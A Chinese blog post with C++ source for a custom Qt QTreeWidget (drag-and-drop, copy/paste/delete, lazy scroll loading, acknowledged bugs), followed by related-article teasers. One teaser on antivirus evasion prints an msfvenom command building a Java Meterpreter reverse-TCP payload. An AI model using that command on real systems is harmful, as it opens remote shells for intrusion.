Qt重写QTreeWidget实现拖拽
介绍
此文章记录QTreeWidget的重写进度,暂时停滞使用,重写了QTreeWidget的拖拽功能,和绘制功能,自定义了数据结构,增加复制,粘贴,删除,准备实现动态刷新数据支持千万数据动态刷新,重写了部分代码,重写了滑块拖拽但是有bug。
效果展示
实现功能
- 实现了自定义节点类来存储数据。
- item采用Label来实现富文本显示(数据量大不建议使用)。
- 重写了QTreeWidget拖拽,滚动,绘制。
- 拖拽实现了节点与节点之间的互相拖拽,仅移动。
- 实现了节点的递归遍历,查找,插入,删除。
- 实现了滚动刷新数据,大量数据也不卡,但是滚动条刷新数据稍微复杂未完成,且有bug。
代码
#ifndef MYTREEWIDGET_H
#define MYTREEWIDGET_H#include <QWidget>
#include <QtWidgets>
#include <QDebug>class MyTreeWidgetItem;
class TreeNode;
class MyLabel;// 自定义节点类
class TreeNode {
public:QString nodeText;QString nodeItemTest;QList<TreeNode*> children;TreeNode* parent = nullptr;MyTreeWidgetItem* item;// 重载==运算符以判断nodeText是否相等bool operator==(const TreeNode& other) const {return nodeText == other.nodeText;}
};class MyTreeWidgetItem :public QTreeWidgetItem
{
public:MyTreeWidgetItem();void setNodeText(QString str);QString getNodeText();QString m_Text;MyLabel* m_Label;int indexOfChild(QTreeWidgetItem *child){int childCount = this->childCount();for (int i = 0; i < childCount; ++i) {if (this->child(i) == child) {return i;}}return -1;}
};class MyLabel : public QLabel
{Q_OBJECT
public:MyLabel(QString text, QWidget *parent = nullptr);bool m_IsSelect = false;bool m_IsLeave = true;QString enterStyle;QString leaveStyle;QString selectStyle;
protected:bool eventFilter(QObject *watched, QEvent *event);
};class MyTreeWidget : public QTreeWidget
{Q_OBJECT
public:MyTreeWidget(QWidget *parent = nullptr);QList<TreeNode*> m_ListData;void wait(int ms); //等待// 删除具有特定文本的节点及其子节点bool deleteNodeByText(const QString& targetText) {for (int i = 0; i < m_ListData.size(); ++i) {TreeNode* node = m_ListData.at(i);if (node->nodeText == targetText) {// 找到目标节点,删除其子节点qDeleteAll(node->children);delete node;m_ListData.removeAt(i);return true; // 成功删除节点}}return false; // 未找到匹配的节点}//删除指定父节点下的子节点bool deleteChildNode(TreeNode* node, const QString& nodeText) {for (int i = 0; i < node->children.size(); ++i) {if (node->children.at(i)->nodeText == nodeText) {node->children.removeAt(i);return true;}}return false;}//根据nodeText递归查找该对象TreeNode* recursiveFindNodeByText(const QString& targetText, TreeNode* currentNode) {if (currentNode->nodeText == targetText) {return currentNode;}for (TreeNode* child : currentNode->children) {TreeNode* result = recursiveFindNodeByText(targetText, child);if (result) {return result;}}return nullptr; // 未找到匹配的节点}//根据nodeText递归查找该对象TreeNode* findNodeByText(const QString& targetText, const QList<TreeNode*>& nodeList) {for (TreeNode* node : nodeList) {TreeNode* result = recursiveFindNodeByText(targetText, node);if (result) {return result;}}return nullptr; // 未找到匹配的节点}//插入字节点 包括数据更新TreeNode* insertChileItem(TreeNode* parentNode, int row, QString itemText);//追加子节点TreeNode* appendChileItem(TreeNode* parentNode, QString itemText);//插入顶部节点TreeNode* insertTopItem(int row, QString itemText, bool isInster = true);//void updateItem(int row, TreeNode* node);//追加顶部节点TreeNode* appendTopItem(QString itemText);//删除顶部的item 以及数据列表void removeTopItem(TreeNode* node);//一个更新nodetext的变量保证每次更新节点都会变化int number = 0;double m_NodeSize = 0;double m_ScrollBarValue = 0;bool m_BarValueChangedTemp = false;bool m_WheelEventTemp = false;//递归插入void RecursionInsert(TreeNode* ParentNode, TreeNode* childNode);//展开所有子节点void expandAllItems(QTreeWidget* treeWidget, QTreeWidgetItem* item);void onScrollBarValueChanged(int value);
protected:void mouseMoveEvent(QMouseEvent *event);void mousePressEvent(QMouseEvent *event);void mouseReleaseEvent(QMouseEvent *event);void startDrag(Qt::DropActions supportedActions);void dragEnterEvent(QDragEnterEvent *event);void dragMoveEvent(QDragMoveEvent *event);void dropEvent(QDropEvent *event);void paintEvent(QPaintEvent* event);void wheelEvent(QWheelEvent *event);
private:TreeNode* m_CopyNode = nullptr; //当前拷贝的节点QPoint m_DragMovePos; //拖拽移动坐标QPoint m_CurPos; //点击保存坐标int m_LastScrollBarValue = 0;QMenu* m;MyTreeWidgetItem* m_CurrDragItem = nullptr; //保存当前正在拖拽的对象QScrollBar *m_VerticalScrollBar;
};#endif // MYTREEWIDGET_H
/******************************************************************************** Copyright [2023] <键鼠自动化>* All rights reserved.** version: 1.0* author: lx* brief: 自定义item,重写绘制和拖拽,以及建立数据结构
*******************************************************************************/
#include "mytreewidget.h"MyTreeWidget::MyTreeWidget(QWidget *parent): QTreeWidget(parent)
{setDragEnabled(true);setAcceptDrops(true);setDragDropMode(DragDropMode::InternalMove);setHeaderHidden(true);m_VerticalScrollBar = this->verticalScrollBar();connect(m_VerticalScrollBar, &QScrollBar::valueChanged, this, &MyTreeWidget::onScrollBarValueChanged);m = new QMenu(this);QAction* action1 = new QAction("删除");QAction* action2 = new QAction("复制");QAction* action3 = new QAction("粘贴");connect(action1, &QAction::triggered, [=]() {MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem) {TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);if (targetNode->parent == nullptr) {this->removeTopItem(targetNode);}else {targetNode->parent->item->removeChild(targetNode->item);deleteChildNode(targetNode->parent, targetNode->nodeText);}}qDebug() << "1231231";});connect(action2, &QAction::triggered, [=](){MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem) {m_CopyNode = findNodeByText(targetItem->getNodeText(), m_ListData);}});connect(action3, &QAction::triggered, [=]() {MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem && m_CopyNode != nullptr) {TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);if (targetNode->parent == nullptr) {int targetRow = this->indexOfTopLevelItem(targetNode->item);if (m_CopyNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, m_CopyNode->nodeItemTest);}else {TreeNode* newParentNode = this->insertTopItem(targetRow + 1, m_CopyNode->nodeItemTest);for (int i = 0 ; i < m_CopyNode->children.size(); ++i) {this->RecursionInsert(newParentNode, m_CopyNode->children.at(i));}}}else {int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);if (m_CopyNode->children.isEmpty()) {this->insertChileItem(targetNode->parent, targetRow + 1, m_CopyNode->nodeItemTest);}else {TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, m_CopyNode->nodeItemTest);for (int i = 0 ; i < m_CopyNode->children.size(); ++i) {this->RecursionInsert(newParentNode, m_CopyNode->children.at(i));}}}m_CopyNode = nullptr;}});m->addAction(action1);m->addAction(action2);m->addAction(action3);
}void MyTreeWidget::wait(int ms)
{QElapsedTimer t;t.start();while (t.elapsed() < ms)QCoreApplication::processEvents();
}TreeNode *MyTreeWidget::insertChileItem(TreeNode *parentNode, int row, QString itemText)
{number++;QTreeWidgetItem* parentItem = parentNode->item; //获取父节点MyTreeWidgetItem* childItem = new MyTreeWidgetItem(); //创建子节点childItem->setNodeText(QString("child%1").arg(number));MyLabel* label = new MyLabel(itemText); //创建labelchildItem->m_Label = label;TreeNode* childData = new TreeNode; //创建子节点对象数据childData->parent = parentNode;childData->item = childItem;childData->nodeText = QString("child%1").arg(number);childData->nodeItemTest = itemText;parentNode->children.insert(row, childData); //父节点对象数据插入子节点parentItem->insertChild(row, childItem); //父节点item插入子节点itemsetItemWidget(childItem, 0, label); //item转换lablereturn childData;
}TreeNode *MyTreeWidget::appendChileItem(TreeNode *parentNode, QString itemText)
{number++;QTreeWidgetItem* parentItem = parentNode->item;MyTreeWidgetItem* childItem = new MyTreeWidgetItem();childItem->setNodeText(QString("child%1").arg(number));MyLabel* label = new MyLabel(itemText);childItem->m_Label = label;TreeNode* childData = new TreeNode;childData->parent = parentNode;childData->item = childItem;childData->nodeText = QString("child%1").arg(number);childData->nodeItemTest = itemText;parentNode->children.append(childData);parentItem->addChild(childItem);setItemWidget(childItem, 0, label);return childData;
}TreeNode* MyTreeWidget::insertTopItem(int row, QString itemText, bool isInster)
{number++;MyTreeWidgetItem* parentItem = new MyTreeWidgetItem();parentItem->setNodeText(QString("parent%1").arg(number));TreeNode* parentData = new TreeNode;parentData->item = parentItem;parentData->nodeText = QString("parent%1").arg(number);parentData->nodeItemTest = itemText;if (isInster) {MyLabel* label = new MyLabel(itemText);parentItem->m_Label = label;insertTopLevelItem(row, parentItem);setItemWidget(parentItem, 0, label);}m_ListData.insert(row, parentData);return parentData;
}void MyTreeWidget::updateItem(int row, TreeNode *node)
{qDebug() << row << node->nodeItemTest << "aaaa";MyLabel* label = new MyLabel(node->nodeItemTest);node->item->m_Label = label;insertTopLevelItem(row, node->item);
// setItemWidget(node->item, 0, label);
}TreeNode *MyTreeWidget::appendTopItem(QString itemText)
{number++;MyTreeWidgetItem* parentItem = new MyTreeWidgetItem();parentItem->setNodeText(QString("parent%1").arg(number));MyLabel* label = new MyLabel(itemText);parentItem->m_Label = label;TreeNode* parentData = new TreeNode;parentData->item = parentItem;parentData->nodeText = QString("parent%1").arg(number);parentData->nodeItemTest = itemText;addTopLevelItem(parentItem);setItemWidget(parentItem, 0, label);m_ListData.append(parentData);return parentData;
}void MyTreeWidget::removeTopItem(TreeNode *node)
{int index = indexOfTopLevelItem(node->item);takeTopLevelItem(index);deleteNodeByText(node->nodeText);
}void MyTreeWidget::RecursionInsert(TreeNode *ParentNode, TreeNode *childNode)
{TreeNode* node = this->appendChileItem(ParentNode, childNode->nodeItemTest);for (int i = 0 ; i < childNode->children.size(); ++i) {this->RecursionInsert(node, childNode->children.at(i));}
}void MyTreeWidget::expandAllItems(QTreeWidget *treeWidget, QTreeWidgetItem *item)
{if (item) {treeWidget->expandItem(item); // 展开当前项// 递归展开子项for (int i = 0; i < item->childCount(); ++i) {expandAllItems(treeWidget, item->child(i));}}
}void MyTreeWidget::onScrollBarValueChanged(int value)
{//m_BarValueChangedTemp用于该函数在没有结束的时候又进来了如果不调用takeTopLevelItem就没事,如果没有m_BarValueChangedTemp在该函数未结束还会进入导致崩溃int step = 3; //滚动一次刷新三条数据if (value >= m_VerticalScrollBar->maximum()) {for (int index = 0; index < 1; ++index) {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex + 100 < m_ListData.size()) {step = 1000;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}}qDebug() << QDateTime::currentDateTime() << "222222222222222222";m_VerticalScrollBar->setValue(value-5);}/* if (m_BarValueChangedTemp) {qDebug() << "onScrollBarValueChanged未结束就进入";return;}if (m_WheelEventTemp) {qDebug() << "wheelEvent正在滚动中";return;}m_BarValueChangedTemp = true;qDebug() << value << m_LastScrollBarValue<< this->topLevelItemCount();int step = 3; //滚动一次刷新三条数据if (m_LastScrollBarValue > value) {// 上拉int number = m_LastScrollBarValue - value;for (int index = 0; index < number; ++index) {MyTreeWidgetItem* topItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(0));TreeNode* topNode = findNodeByText(topItem->getNodeText(), m_ListData);int topIndex = m_ListData.indexOf(topNode);if (topIndex - 3 > 0) {step = 3;}else {step = topIndex;}for (int i = step; i > 0; --i) {//尾部追加显示//获取当前底部的数据topIndex--;updateItem(0, m_ListData.at(topIndex));}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(this->topLevelItemCount() - 1);}}}else {int number = value - m_LastScrollBarValue;qDebug() << QDateTime::currentDateTime() << "111111111111111";for (int index = 0; index < number; ++index) {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex + 3 < m_ListData.size()) {step = 3;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}}qDebug() << QDateTime::currentDateTime() << "222222222222222222";}m_ScrollBarValue = value;m_LastScrollBarValue = value;m_VerticalScrollBar->setValue(value);m_BarValueChangedTemp = false;*/
}void MyTreeWidget::mouseMoveEvent(QMouseEvent *event)
{QTreeWidget::mouseMoveEvent(event);
}void MyTreeWidget::mousePressEvent(QMouseEvent *event)
{QTreeWidget::mousePressEvent(event);m_CurPos = event->pos();if (event->buttons() & Qt::RightButton) {m->move((QCursor::pos()));m->show();}}void MyTreeWidget::mouseReleaseEvent(QMouseEvent *event)
{QTreeWidget::mouseReleaseEvent(event);
}void MyTreeWidget::startDrag(Qt::DropActions supportedActions)
{//拖拽重写此函数下发当前拖拽对象的nodetextQ_UNUSED(supportedActions);MyTreeWidgetItem* currItem = dynamic_cast<MyTreeWidgetItem*>(this->currentItem());if (currItem) {QString text = currItem->getNodeText();QMimeData* mimeData = new QMimeData;mimeData->setData("application/labelData", text.toUtf8());QDrag* drag = new QDrag(this);drag->setMimeData(mimeData);m_CurrDragItem = currItem;drag->start(Qt::MoveAction);}
}void MyTreeWidget::dragEnterEvent(QDragEnterEvent *event)
{QTreeWidget::dragEnterEvent(event);// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {event->acceptProposedAction();}
}void MyTreeWidget::dragMoveEvent(QDragMoveEvent *event)
{QTreeWidget::dragMoveEvent(event);// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {event->acceptProposedAction();m_DragMovePos = event->pos();viewport()->update();}}void debugTreeData(TreeNode* node, int depth = 0) {QString kongge;for (int i = 0; i < depth; ++i) {kongge.append("----");}qDebug() << kongge << node->nodeItemTest << node->nodeText;for (int i = 0; i < node->children.size(); ++i) {debugTreeData(node->children.at(i), depth + 1); // 递归时深度加1}
}void MyTreeWidget::dropEvent(QDropEvent *event)
{// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {QString itemData = event->mimeData()->data("application/labelData");MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(event->pos()));m_CurrDragItem = nullptr;if (!targetItem) {return;}qDebug() << itemData << "-------------------" << targetItem->getNodeText();TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);TreeNode* sourceNode = findNodeByText(itemData, m_ListData);if (sourceNode && targetNode) {// 找到了匹配的节点,可以对其进行操作qDebug() << "找到了匹配的节点,可以对其进行操作" << targetNode->nodeText << sourceNode->nodeText;if (sourceNode->parent == nullptr && targetNode->parent == nullptr) { //父与父//当前是父节点与父节点直接拖拽int targetRow = this->indexOfTopLevelItem(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);if (targetRow != sourceRow) {qDebug() << "1111111111111111" << targetRow << sourceRow;//在目标源下插入一行if (sourceNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);//删除来源itemthis->removeTopItem(sourceNode);}else if (!sourceNode->children.isEmpty()) {//如果来源里面有子节点就需要递归插入,先查入头节点TreeNode* newParentNode = this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemthis->removeTopItem(sourceNode);deleteNodeByText(sourceNode->nodeText);}else {qDebug() << "未知动作!!!!!!!!!!!!!!!!!!!!!!!!";}}}else if (sourceNode->parent != nullptr && targetNode->parent != nullptr) { //子与子//双方都是子节点int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = sourceNode->parent->item->indexOfChild(sourceNode->item);qDebug() << "44444444444444" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;if (recursiveFindNodeByText(targetNode->nodeText, sourceNode) != nullptr) {//来源节点中不能有目标节点return;}if (sourceNode->children.isEmpty()) {this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);sourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}else if (!sourceNode->children.isEmpty()) {TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemsourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}}else if (sourceNode->parent != nullptr && targetNode->parent == nullptr) { //子与父//来源是子节点,指向端是父节点int targetRow = this->indexOfTopLevelItem(targetNode->item);int sourceRow = sourceNode->parent->item->indexOfChild(sourceNode->item);qDebug() << "222222222222222222" << targetRow << sourceRow << sourceNode->parent->nodeItemTest << sourceNode->nodeItemTest;if (sourceNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);sourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}else if (!sourceNode->children.isEmpty()) {TreeNode* newParentNode = this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemsourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}}else if (sourceNode->parent == nullptr && sourceNode->children.isEmpty() && targetNode->parent != nullptr) { //空父 与子//来源父节点 且没有子节点 且指向端是子节点int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);qDebug() << "333333333333" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);this->removeTopItem(sourceNode);}else if (sourceNode->parent == nullptr && !sourceNode->children.isEmpty() && targetNode->parent != nullptr) { //父多子 与子//来源父节点 有子节点 且指向端是子节点if (recursiveFindNodeByText(targetNode->nodeText, sourceNode) != nullptr) {//来源节点中不能有目标节点return;}int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);qDebug() << "5555555555555" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemthis->removeTopItem(sourceNode);deleteNodeByText(sourceNode->nodeText);}} else {// 未找到匹配的节点qDebug() << "未找到匹配的节点2";}}// for (int i = 0; i < m_ListData.size(); ++i) {// debugTreeData(m_ListData.at(i));// }
}void MyTreeWidget::paintEvent(QPaintEvent *event)
{// qDebug() << "123123123123";QTreeWidget::paintEvent(event);QPainter painter(viewport());if (m_CurrDragItem != nullptr) {QModelIndex hoveredIndex = indexAt(m_DragMovePos);MyTreeWidgetItem* mcurrMoveItem = dynamic_cast<MyTreeWidgetItem*>(itemFromIndex(hoveredIndex));if (mcurrMoveItem) {QRect rect = visualRect(hoveredIndex); // 获取悬停项的矩形区域QString labelText = mcurrMoveItem->m_Label->text();qDebug()<< "---------------" << labelText << rect << "-----------------";painter.setPen(QPen(QColor(34, 142, 243), 2)); // 设置线条颜色和粗细// 绘制线条painter.drawLine(rect.x() + 6, rect.y() + rect.height(), rect.x() + rect.width() - 6, rect.y() + rect.height()); // 绘制底部线条// 绘制头部小圆圈painter.setBrush(QBrush(QColor(34, 142, 243))); // 设置圆圈颜色painter.drawEllipse(QPoint(rect.x() + 2, rect.y() + rect.height()), 2, 2); // 绘制小圆圈// 绘制尾部小圆圈painter.drawEllipse(QPoint(rect.x() + rect.width()-2, rect.y() + rect.height()), 2, 2); // 绘制小圆圈}}
}void MyTreeWidget::wheelEvent(QWheelEvent *event)
{if (m_WheelEventTemp) {qDebug() << "wheelEvent未结束就进入";return;}if (m_VerticalScrollBar->isSliderDown()) {qDebug() << "正在拖拽滚动条";return;}m_WheelEventTemp = true;qDebug() << "1111111111111111111" << event->angleDelta().y() <<this->topLevelItemCount() << m_VerticalScrollBar->isSliderDown();int number = qAbs(event->angleDelta().y()) / 120;int step = 3; //滚动一次刷新三条数据for (int i = 0; i < number; ++i) {if (event->angleDelta().y() > 0) {MyTreeWidgetItem* topItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(0));TreeNode* topNode = findNodeByText(topItem->getNodeText(), m_ListData);int topIndex = m_ListData.indexOf(topNode);if (topIndex - 3 > 0) {step = 3;}else {step = topIndex;}for (int i = step; i > 0; --i) {//尾部追加显示//获取当前底部的数据topIndex--;updateItem(0, m_ListData.at(topIndex));}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(this->topLevelItemCount() - 1);}if (m_ScrollBarValue > 0) {m_ScrollBarValue -= double(m_VerticalScrollBar->maximum()) / double(m_ListData.size() / (step == 0 ? 1 : step));qDebug() << "向上滚动" << topIndex <<m_ScrollBarValue;m_VerticalScrollBar->setValue(m_ScrollBarValue);}}else {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex+3 < m_ListData.size()) {step = 3;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}if (m_VerticalScrollBar->value() < m_VerticalScrollBar->maximum()) {m_ScrollBarValue += double(m_VerticalScrollBar->maximum()) / double(m_ListData.size() / (step == 0 ? 1 : step));qDebug() << "向下滚动" << bottomIndex <<m_ScrollBarValue;m_VerticalScrollBar->setValue(m_ScrollBarValue);}}}m_WheelEventTemp = false;
}MyTreeWidgetItem::MyTreeWidgetItem()
{}void MyTreeWidgetItem::setNodeText(QString str)
{m_Text = str;
}QString MyTreeWidgetItem::getNodeText()
{return m_Text;
}MyLabel::MyLabel(QString text, QWidget *parent): QLabel(parent)
{setText(text);installEventFilter(this);enterStyle = "background-color: rgb(225, 243, 255);";leaveStyle = "background-color: white;";selectStyle = "background-color: rgb(204, 232, 255);";
}bool MyLabel::eventFilter(QObject *watched, QEvent *event)
{return QWidget::eventFilter(watched, event);
}
#include "widget.h"
#include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget)
{ui->setupUi(this);m_MyTreeWidget = new MyTreeWidget();// if (1) {qDebug() << QDateTime::currentDateTime() << "111111111111111";for (int i = 0; i < 100000; ++i) {if (i >= 100) {m_MyTreeWidget->insertTopItem(i, QString("父节点%1").arg(i+1), false);}else {m_MyTreeWidget->insertTopItem(i, QString("父节点%1").arg(i+1));}}qDebug() << QDateTime::currentDateTime() << "2222222222222";// for (int i = 0; i < 500; ++i) {// m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(0), m_MyTreeWidget->m_ListData.at(0)->item->childCount(),QString("子节点%1").arg(i+1));// }// for (int i = 0; i < 500; ++i) {// m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(1), m_MyTreeWidget->m_ListData.at(1)->item->childCount(),QString("子节点%1").arg(i+1));// }// for (int i = 0; i < 500; ++i) {// m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(2), m_MyTreeWidget->m_ListData.at(2)->item->childCount(),QString("子节点%1").arg(i+1));// }// for (int i = 0; i < 500; ++i) {// m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(3), m_MyTreeWidget->m_ListData.at(3)->item->childCount(),QString("子节点%1").arg(i+1));// }ui->gridLayout->addWidget(m_MyTreeWidget);// 在您的代码中调用此函数来展开所有项//m_MyTreeWidget->expandAllItems(m_MyTreeWidget, m_MyTreeWidget->invisibleRootItem());
}Widget::~Widget()
{delete ui;
}
相关文章:

Qt重写QTreeWidget实现拖拽
介绍 此文章记录QTreeWidget的重写进度,暂时停滞使用,重写了QTreeWidget的拖拽功能,和绘制功能,自定义了数据结构,增加复制,粘贴,删除,准备实现动态刷新数据支持千万数据动态刷新&a…...

【Spring Boot】拦截器学习笔记
一、普通拦截器 1,新建类MyWebConfig实现WebMvcConfigurer,实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

云可观测性:提升云环境中应用程序可靠性
随着云计算的兴起和广泛应用,越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中,确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案,针对这一需求提供了有效的方法和工具。本文将介绍…...

免杀对抗-java语言-shellcode免杀-源码修改+打包exe
JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令:msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包,成功上线 命令࿱…...

抖音、知乎、小红书的流量算法
目前我国网民规模已超过10亿,在这互联网时代,更是流量为王。各个平台里的每个视频、每张图片,背后都有着算法的身影,支配着所有人的流量。作为内容创作者及运营者来说,除了制作高质量的内容以外,也需要掌握…...

c++ 纯虚函数、抽象类
一、 纯虚函数 抽象类 只要有一个纯虚函数,这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类,必须要重写父类中的纯虚函数,否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

echarts另外存为图片
今天同事画了个Echarts,我看了下居然有下载功能!!!!(之前一直不知道) 这是原图,右上角有个下载功能, 下载后是这样的 貌似是没有了y轴的参数和x轴的参数,估计是可以配置的…...
Mybatis返回自动递增主键值,通过实体
如果你在数据库中使用了自动递增的主键(通常是整数类型),你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例: 首先,在你的 SQL 映射文件中,使用 <insert> 元素来执行插入操作…...

如何在 Excel 中求平方根
需要在 Excel 中求一个数字的平方根吗?使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中,您将学习在 Excel 中计算平方根的 5 种不同方法,包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

苹果手机无法正常使用小程序和APP
小程序、APP 已使用了几年,突然大量反馈:苹果手机无法正常使用。但不是全部,只是部分手机。 因为同事苹果手机都能用,所以无法准确判断具体原因。 后来同事苹果手机也无法使用了,显示: 网上搜索结果&…...

【Axure教程】用中继器制作双坐标柱状折线图
双坐标柱状折线图常用于同时展示两组数据的图表类型,每组数据都有自己的纵坐标轴(Y轴)。一组数据通常用柱状图表示,而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家ÿ…...

C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)
C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数,而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...
mysql 主从复制 mysql版本5.7.35
文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤:主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制(Master-Slave Replication)是一个常用的高可用性和可扩展性解决方案。通过主从复…...

iOS“超级签名”绕过App Store作弊解决方案
一直以来,iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下,游戏作为一个整体,无论哪一端出现安全问题,都会造成更加严重的影响。因此,iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...

I2C子系统、读取温湿度的逻辑及代码
一、IIC子系统 两根线: scl:时钟线 sda:数据线 iic有4种信号: 起始信号(start):scl是高电平,sda下降沿 终止信号(stop):scl高电平,sda上升沿 应答信号…...

数据结构——排序
排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示:shell_insert.hshell_insert.ctest.c 总结 前言 来…...
资深java面试题及答案整理
编写 Java 程序时, 如何在 Java 中创建死锁并修复它? 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码,你可能会失败。 如何避免 Java 线程死锁? 如何避免 Java 中的死锁?是 Java 面试的热门问题之…...

buuctf-[网鼎杯 2020 朱雀组]phpweb
1.打开网站,吓我一跳 2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次 一开始去搜了这个,但是没什么用 3.使用bp抓包 会发现有两个参数,应该是用func来执行p 4.修改func和p file_get_contents&#…...

SpringBoot实战(二十四)集成 LoadBalancer
